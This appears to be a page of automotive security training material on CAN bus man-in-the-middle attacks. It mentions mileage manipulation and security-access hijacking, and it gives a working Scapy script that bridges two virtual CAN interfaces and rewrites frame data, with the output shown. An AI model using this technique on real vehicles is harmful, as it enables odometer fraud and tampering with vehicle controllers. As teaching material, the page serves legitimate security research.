CAN MITM Attacks#
A CAN Man-in-the-Middle (MITM) attack is a form of cyber-intrusion in which an adversary intercepts and modifies the data packets being transmitted between nodes within a Controller Area Network (CAN) infrastructure. This can be achieved by physically introducing a rogue device onto the network, which separates a target device from the vehicle’s bus and forwards all communication to a special CAN bus for only the target device. The attacker can then manipulate the communication, disrupt normal operations, exfiltrate sensitive data, or even gain control of the affected devices.
Very useful to separate an ECU from a bus
CAN frames can be forwarded, blocked, or manipulated
Examples:
Low-latency MITM attacks require special hardware (e.g. CAN-Badger)
General MITM attacks can be performed with two CAN adapters and userland applications (C-Application, Python / Scapy)
Mileage manipulation#
Figure from https://www.ebay.com/.
Hijack of Security Access#
Figure from [Nol19].
MITM in Scapy#
In this example, we use vcan0 and vcan1 as interfaces.
Setup two CAN interfaces
sudo modprobe vcan
sudo ip link add name vcan0 type vcan
sudo ip link add name vcan1 type vcan
sudo ip link set dev vcan0 up
sudo ip link set dev vcan1 up
Import necessary modules in Scapy
import threading
from scapy.all import *
from scapy.layers.can import *
from scapy.contrib.cansocket import *
Create a forward function. Attack code need to be placed here.
def forwarding(pkt):
pkt.data = b"ATTACKED"
pkt.length = 8
return pkt
Create attacker sockets and run MITM attack
bSocket0 = CANSocket('vcan0')
bSocket1 = CANSocket('vcan1')
sender_socket = CANSocket('vcan1')
receiver_socket = CANSocket('vcan0')
def bridge():
print("MITM started")
bridge_and_sniff(if1=bSocket0, if2=bSocket1,
xfrm12=forwarding, xfrm21=forwarding,
timeout=1, count=1)
receiver = AsyncSniffer(opened_socket=receiver_socket)
bridger = threading.Thread(target=bridge)
bridger.start()
receiver.start()
pkt = CAN(identifier=0x123, data=b"hello u")
pkt.show()
sender_socket.send(pkt)
time.sleep(0.1)
rx_pkts = receiver.stop()
print(rx_pkts)
print(len(rx_pkts))
rx_pkts[0].show()
MITM started
###[ CAN ]###
flags =
identifier= 0x123
length = None
reserved = 0
data = b'hello u'
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
1
###[ CAN ]###
flags =
identifier= 0x123
length = 8
reserved = 0
data = b'ATTACKED'